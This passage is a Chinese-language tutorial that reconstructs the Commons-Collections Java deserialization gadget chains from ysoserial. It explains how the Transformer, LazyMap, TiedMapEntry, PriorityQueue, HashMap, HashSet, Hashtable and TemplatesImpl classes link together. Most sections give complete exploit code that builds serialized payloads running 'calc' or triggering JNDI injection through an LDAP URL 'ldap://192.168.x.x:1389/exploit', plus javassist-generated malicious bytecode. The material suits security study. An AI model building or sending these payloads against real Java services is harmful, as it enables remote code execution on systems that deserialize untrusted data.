整過Fastjson、Jackson和XML反序列化之后，感覺還需要對Commons-Collections鏈來個更清晰的認識，所以決定從ysoserial源碼和CC鏈源碼出發，復原整個鏈是如何構造出來的
1 基礎
首先要說一個重要假設，如果某台服務器上，開了一個服務，接受java序列化字節碼，並且使用ObjectInputStream.readObject方法進行反序列化，應該如何利用？
- 直接寫一個惡意java類，例如Test，並在其中寫入命令執行的代碼，序列化后傳給服務器，可以在服務器上執行嗎？當然不行！因為沒有Test類，服務器上執行readObject的時候直接報錯，找不到Test類
- 必須用服務器上存在的類，怎么讓它在readObject執行過程中觸發呢？這里就是CC鏈的重要意義了，如果反序列化的類定義了readObject方法，服務器上執行ObjectInputStream.readObject時，會自動調用反序列化類中的readObject方法，更進一步的，如果反序列化類的readObject方法中執行了該類成員變量的某些方法，而這些成員變量是可控的，一個反序列化利用或許就出現了
在readObject反序列化中有個重要利用鏈就是Commons-Collections組件的利用鏈，該組件是各種中間件必用的組件，所以可以利用的范圍廣泛！
CC鏈（Commons-Collections）中非常重要的就是幾個Transformer類、HashMap、HashSet、HashTable、LazyMap、TiedMapEntry、BadAttributeValueExpException、AnnotationInvocationHandler、Proxy.newProxyInstance，看着好像很多有點唬人，其實理解之后會發現都不是大問題，特別是看過這些類的源碼之后，每個利用鏈就會很清晰。一個一個來：
ConstantTransformer
這個類的作用就是保存一個對象而已，創建實例時需要傳入一個需要保存的對象，調用實例的transform即可獲得其中的常量，沒有多余的處理邏輯（推薦直接看源碼）
public O transform(final I input) {
return iConstant;
}
InvokeTransformer
這個類的主要功能就是執行某個對象的某個方法，直接上源碼
//構造函數
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
iArgs = args != null ? args.clone() : null;
}
//功能函數
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
}catch (...){...}
- 構造函數要求傳入方法名，方法需要參數類型，具體參數
- 功能函數transform需要傳入一個對象，然后執行構造函數中給定的方法
其實這個類的功能就是反射執行一個類的特定方法而已
ChainedTransformer
這個類創建實例時，需要傳入一個Transformer數組，該類的功能就是遍歷執行Transformer數組的transform函數，並且將上一次的transform函數的執行結果作為下一次transform的輸入，看源碼
public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}
其中的iTransformer就是創建時傳入的Transformer數組。
到這里，三個Transformer其實就可以連接起來了，先創建一個Transformer數組，用ConstantTransformer起手，傳入一個對象，用InvokeTransformer一步一步調用函數，再將數組傳入ChainedTransformer，調用其transform函數。
舉例，先定義一個Test類
public static class Test{
public String name;
public Test setName(String name) {
System.out.println("setName to " + name);
this.name = name;
return this;
}
public String getName(){
System.out.println("getName " + this.name);
return this.name;
}
}
再寫一個transformer數組，並傳入ChainedTransformer，調用transform方法
從例子不難理解，chainedTransformer調用過程和object.xxx().yyy().zzz()是一樣的，只是需要用InvokerTransformer來完成。那Transformer數組就可以組合成任意想要執行的代碼，例如
Transformer[] transformer = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(null);
這個利用鏈等價於Runtime.class.getMethod("getRuntime", null).invoke(null, null).exec("calc")
或者也可以用chainedTransformer鏈調用JdbcRowSetImple，恰好它還繼承了Serializable，可以序列化，所以只需要設置一下dataSourceName屬性再調用autoCommit即可觸發JNDI注入，就不展開說明了，了解過fastjson漏洞就清楚了。代碼如下
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer[] transformer = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
LazyMap
前面ChainedTransformer已經可以打通命令執行或者代碼執行了，那么如何在readObject之后，執行到transform函數呢，先一步一步來。一般都不會有什么代碼直接寫個xxx.transform(null)，所以需要進一步包裝一下。恰好有個LazyMap，關鍵源代碼如下
//靜態方法，創建LazyMap實例
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 構造函數，將傳入的Transformer設定為this.factory
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
// 重點方法，里面會調用到this.factory.transform()
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
簡單看一下源代碼就知道，如果傳入的map是一個空的map，在get函數中就一定會指定factory.transform(key)，而factory又是我們傳入的chainedTransformr實例，所以調用了lazyMap.get，就會命令執行了。（補充：這個類定義了writeObject和readObject方法，所以可以實例化）
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.get(123);
TiedMapEntry
其實LazyMap的get方法已經可以結合一些類的readObject方法實現調用鏈了，但是通過TiedMapEntry可以進一步擴展調用鏈，看幾個關鍵源代碼
//構造函數，map可以傳入lazyMap，key隨便傳一個字符串即可
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
//重點在於map.get(key)=lazyMap.get(key)->chainedTransformer.transform()
public Object getValue() {
return map.get(key);
}
//equals方法，重點在於調用了getValue()->map.get(key)
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj instanceof Map.Entry == false) {
return false;
}
Map.Entry other = (Map.Entry) obj;
Object value = getValue();
return
(key == null ? other.getKey() == null : key.equals(other.getKey())) &&
(value == null ? other.getValue() == null : value.equals(other.getValue()));
}
//hashCode方法，重點也是getValue()->map.get(key)
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
//toString方法，getValue()->map.get(key)
public String toString() {
return getKey() + "=" + getValue();
}
這個類簡直是寶藏啊！把一個單純的get方法，直接擴展了4個方向，也就是說，找到某些類的readObject方法執行過程中，調用到了成員實例的getValue、equels、hashcode、toString方法，只要把成員是TiedMapEntry實例，就可以構成一個反序列化的鏈了。
TransformingComparator
這個類主要是把transform調用放在了compare函數中，相當於增加了一個利用鏈的方向，看看關鍵源代碼
//構造函數
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
// compare函數，無判斷條件直接調用transform
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
這里利用鏈就比較簡單了，很明顯只要readObject過程中調用了實例的compare方法，就可以觸發了。
PriorityQueue
這個類的核心在於readObject方法一路調用之后(readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e))，執行到comparator.compare(e)，其中e是該類隊列中的變量，可以在序列化前放進去。
到這里需要結合另一個類，TransformingComparator來食用，TransformingComparator的compare和構造方法如下
// 構造方法
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
// compare方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
很明顯構造方法傳入一個tansformer對象即可，然后配合前面的調用鏈，執行到transform函數，所以這個類的整體調用鏈如下
readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->TransformingComparator.compare(e)->transformer.transform(e))
實際上已經連接到Transformer了，用ChainedTransoformer或其它方法都可以實現RCE。到這里ysoserial的作者為了實現任意代碼執行，使用了另一個類：com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl下面展開一下這個類
TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是jdk自帶的類，里面用到的核心方法如下
// 核心方法1，newTransformer
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
這里代碼看到getTransletInstance調用，跟進一下
// 核心方法2 getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
可以看到__class==null時，會執行defineTransletClasses()，而后__class[_transletIndex].newInstance()，在數組中取出一個類對象調用newInstance方法。也就是說最終會產生一個類對象。進一步跟進defineTransletClasses方法看看
// 核心方法3，defineTransletClasses，根據字節碼，創建類對象
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) { // 這里如果_bytecodes==null，程序直接報錯，所以不能為null
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
// 獲取classLoader，用於后面加載類的字節碼
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
// 創建常量
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
// 循環使用defineClass加載類字節碼，返回類對象
_class[i] = loader.defineClass(_bytecodes[i]);
// 省略后的代碼，后面基本不用看了，因為沒有對__class數組產生影響，返回前面的getTransletInstance函數中
}
}
catch() { //異常處理，省略 }
}
返回到getTransletInstance，關鍵在於執行了__class[_transletIndex].newInstance()創建類對象，這一步就可以在自定義的惡意類靜態代碼塊添加惡意代碼了
2 實現readObject方法的類及其利用鏈
前面基礎部分已經把命令執行或任意java代碼執行串聯到，只需要執行get、equals、hashCode、toString、compare、getValue方法了，現在來找一些實現了readObject方法，並且可以其過程中調用了內部實例的get、equals等方法，就可以構成一個反序列化利用鏈了。
BadAttributeValueExpExceptionCC
這里就不用ysoserial定義的Commons-Collections 1-7來稱呼了，一點也不好記，用實現了readObject方法的類名+CC簡稱更容易記憶和感受一些。
BadAttributeValueExpException實現了readObjcet方法，並且其中有個valObj.toString方法
class BadAttributeValueExpException{
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
// 構造函數
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
}
這里是不是正好想到了前面的TiedMapEntry的toString方法！如果把valObj變成TiedMapEntry的實例，直接就從readObjct連到transform了。來看看上面的關鍵源代碼，valObj就是val這個成員，再看看構造函數，this.val會被轉換為val.toString，因此不能new BadAttributeValueExpException時傳入TiedMapEntry，需要使用反射在創建BadAttributeValueExpException對象后修改其val成員變量：
// 省略chainedTransformer創建的過程，直接從前面拿過來就可以了
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
try{
// 反射修改val
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, tiedMapEntry);
}catch (Exception e){e.printStackTrace();}
// 本地寫文件驗證
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(expException);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
如果感覺寫文件驗證不夠嚴謹，可以創建一個socket服務端，本地把序列化后的字節流傳給socket服務端，服務端把接收的字節流直接readObject即可驗證
這里的利用鏈也比較清晰
PriorityQueueCC
ysoserial原生調用鏈如下
readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->
TransformingComparator.compare(e)->transformer.transform(e))->invokerTransformer.transform(e)->
TemplatesImpl.newTransform->TemplatesImpl.getTransletInstance->_class[_transletIndex].newInstance()
看到調用鏈，結合前面提到的關鍵函數，這個鏈也就很好理解了，上代碼
// 需要反射的兩個類
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
// 這里需要借助javassist中的相關方法，動態創建類，動態添加類方法和靜態代碼塊
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("PriorityQueueCCC");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
// 用來保存字節碼
byte[] bytes = payload.toBytecode();
// 反射創建TemplatesImpl類實例
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
// 反射修改其中的_bytecodes屬性
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
// 反射修改其中的_name屬性
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
// 創建InvokerTransformer實例，並寫好newTransfomer方法調用
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
// 創建TransformingComparator實例，放在后面的PriorityQueue中
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
// 反射修改PriorityQueue中的comparator變量，反序列化后，會自動調用comparator.compare方法
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
// 修改PriorityQueue中的queue變量，因為反序列化后，queue中的對象會傳入comparator.compare方法中，
// 然后調用到templatesImpl.newTransform
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
// 模擬序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
PriorityQueueCC2
前面使用TemplatesImpl屬實麻煩，直接把transformer處改成ChainedTransformer的實例即可，所以稍微改了一下PriorityQueueCC鏈
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer[] transformer = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
// 反射修改comparator
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator);
// 模擬序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
HashMapCC
HashMap實現了readObject方法，在反序列化后，會執行它的readObject方法，其方法中關鍵在於執行了hash(key)->key.hashCode()這個調用鏈，那很明顯，跟前面的TiedMapEntry就可以接起來了。先看看HashMap中涉及到的核心方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
// 省略很多不相關代碼，以及讀取字節碼中數據的代碼
// 讀取key和value，put到HashMap的mapping中
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
這里可以看到，最后putVal前執行了hash(key)，跟進HashMap.hash(key)，可以看到，直接調用了key.hashCode方法，如果把key設置為TiedMapEntry的實例，直接就把利用鏈構造出來了。所以，代碼如下
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashMap hashMap1 = new HashMap(1);
// 由於是執行了key.hashCode()，所以要把tiedMapEntry作為key
hashMap1.put(tiedMapEntry, "test");
lazyMap.clear();
// hashmap.put時本地觸發exp鏈，map.put->map.hash->entry.hashcode->lazymap.get->transform
// 由於創建hashmap后，會自動給lazyMap添加一個<key,value>，所以要remove掉這個鍵值對
// 以保證lazyMap.get時，map.containsKey(key) == false，從而進入transform函數
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashMap1);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
HashSetCC
HashSet的readObject方法中，創建了HashMap，並用HashMap的實例put反序列化出來的對象
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略讀取字節碼的部分
// Create backing HashMap 創建一個map對象，三元表達式結果會創建一個HashMap對象，而且LinkedHashMap繼承自HashMap並且沒有重寫put方法
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order. 關鍵在於執行了map.put
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
這個利用鏈和前面的HashMap利用鏈接上了，map.put(e, PRESENT)=HashMap.put(e, PRESENT)->HashMap.hash(e)->e.hashCode()
所以只需要把tiedMapEntry放進HashSet即可完成利用鏈的構造
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
// chainedTransformer.transform(null);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test");
// 由於創建hashset后，會自動給lazyMap添加一個key-value，所以要remove掉這個鍵值對
// 以保證lazyMap.get時，map.containsKey(key) == false，從而進入transform函數
// 避免hashset.add時本地觸發exp add->map.put->map.hash->entry.hashcode->lazymap.get->transform
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashSet);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
HashTableCC
先看看HashTable的readObject方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
{
// 省略前面不相關代碼
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject(); // 讀取key
@SuppressWarnings("unchecked")
V value = (V)s.readObject(); // 讀取value
// synch could be eliminated for performance
reconstitutionPut(table, key, value); // 給內部table添加key-value
}
}
跟進reconstitutionPut方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode(); // 注意這里
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { // 注意key.equals()
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
很明顯了，看到key.hashCode可以直接和TiedMapEntry鏈接起來；而key.equals也可以執行執行嗎？
先來看看HashTable->TiedMapEntry->LazyMap->ChainedTransformer的利用鏈
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
// 創建lazyMap
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.put("test", 1);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Hashtable hashtable = new Hashtable(1);
hashtable.put(tiedMapEntry, 1);
lazyMap.remove("test");
// 由於創建hashtable后，會自動給lazyMap添加一個key-value，所以要remove掉這個鍵值對
// 以保證反序列化后，lazyMap.get時，map.containsKey(key) = false，從而進入transform函數
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
// 本地寫文件
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashtable);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
這個鏈主要是在HashTable.reconstitutionPut中調用key.hashCode()方法，而這個key可以被設置為tiedMapEntry對象，所以就形成了HashTable->TiedMapEntry->..ChainedTransformer的利用鏈。
HashTableCC2
然后再來看看key.equals的觸發點，這里需要對lazyMap進一步解析，特別是其內部的map。我們在創建lazyMap的時候，傳入了一個HashMap，又由於LazyMap繼承自AbstractMapDecorator，所以其map屬性定義也是繼承自AbstractMapDecorator。
// 類的繼承關系
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{
// 創建lazyMap的方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 構造函數
protected LazyMap(Map map, Transformer factory) {
super(map); // 調用父類的構造方法
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
// super(map) 父類構造函數
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map; // 注意這里，this.map=傳進來的map，也就是HashMap
}
}
然后this.map=HashMap，所以看看HashMap的源碼
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
看到HashMap繼承了AbstractMap，跟進看一下AbstractMap的源碼，並且主要看一下equals方法！
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o; // 這里轉換了一下變量名 m = o
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key))) // 執行了m.get()
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch () { //省略}
return true;
}
到這里，如果m就是我們輸入的lazyMap，結合前面提到過的lazyMap.get->transformer.transform，那直接就進入惡意代碼環節了。所以先來個利用代碼，再梳理一下利用鏈
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
Map map1=new HashMap();
Map map2=new HashMap();
Map lazyMap1= LazyMap.decorate(map1,chainedTransformer);
Map lazyMap2= LazyMap.decorate(map2,chainedTransformer);
Field f = Class.forName("org.apache.commons.collections.map.AbstractMapDecorator").getDeclaredField("map");
f.setAccessible(true);
Object map = f.get(lazyMap1);
System.out.println(map.getClass().getName());
lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
//避免hashtable.put本地觸發exp
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformer);
// 讀寫文件測試
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
反序列化的時候是這樣觸發的：
HashTable.readObject()
Hashtable.reconstitutionPut() 源碼 -> e.key.equals(key) 這里e.key是一個lazyMap，key也是lazyMap
lazyMap本身沒有實現equals方法，繼承了AbstractMapDecorator，所以調用父類的equals方法
AbstractMapDecorator.equals(key) 源碼 -> return this.map.equals(key)
HashMap.equals(key)
AbstractMap.equals(key)
m.get(xx) <=> lazyMap.get(xx)
AbstractMapDecorator.equals源代碼中，使用其實例中map成員的equals方法，即return this.map.equals(key)
由於創建lazyMap時，傳入的是一個HashMap，所以調用了HashMap.equals，而HashMap繼承自AbstractMap，並且沒有重寫equals方法，所以實際上調用AbstractMap.equals(key)。
在上面AbstractMap.equals(key)源碼會存在m=o，再m.get(key)，實際上參數o就是一個之前從Hashtable.reconstitutionPut()一路傳遞進去的那個key，也就是lazyMap，所以這里就等於是執行lazyMap.get(xx)，到此利用鏈就連起來了。
最后給個IDEA報錯提示，看看調用鏈
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:129)
at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221)
at java.util.Hashtable.readObject(Hashtable.java:1195)
這個利用鏈似乎有點繞，但多看看源碼和利用代碼，還是比較容易理解的
AnnotationInvocationHandlerCC
這個利用鏈，主要是用到了AnnotationInvocationHandler類，它繼承了InvocationHandler和Serializable，並且還重寫了readObject方法。
先來看看繼承InvocationHandler代表什么含義：在java中提供了一種動態代理創建對象的方式，也就是Proxy.newProxyInstance()方法，這個方法需要三個參數：
- classLoader
- 被創建類實現的所有接口
- InvocationHandler實例
被動態代理創建的對象，調用任意方法時，都會先調用代理類，也就是InvocationHandler實例的invoke方法，可以參照栗子
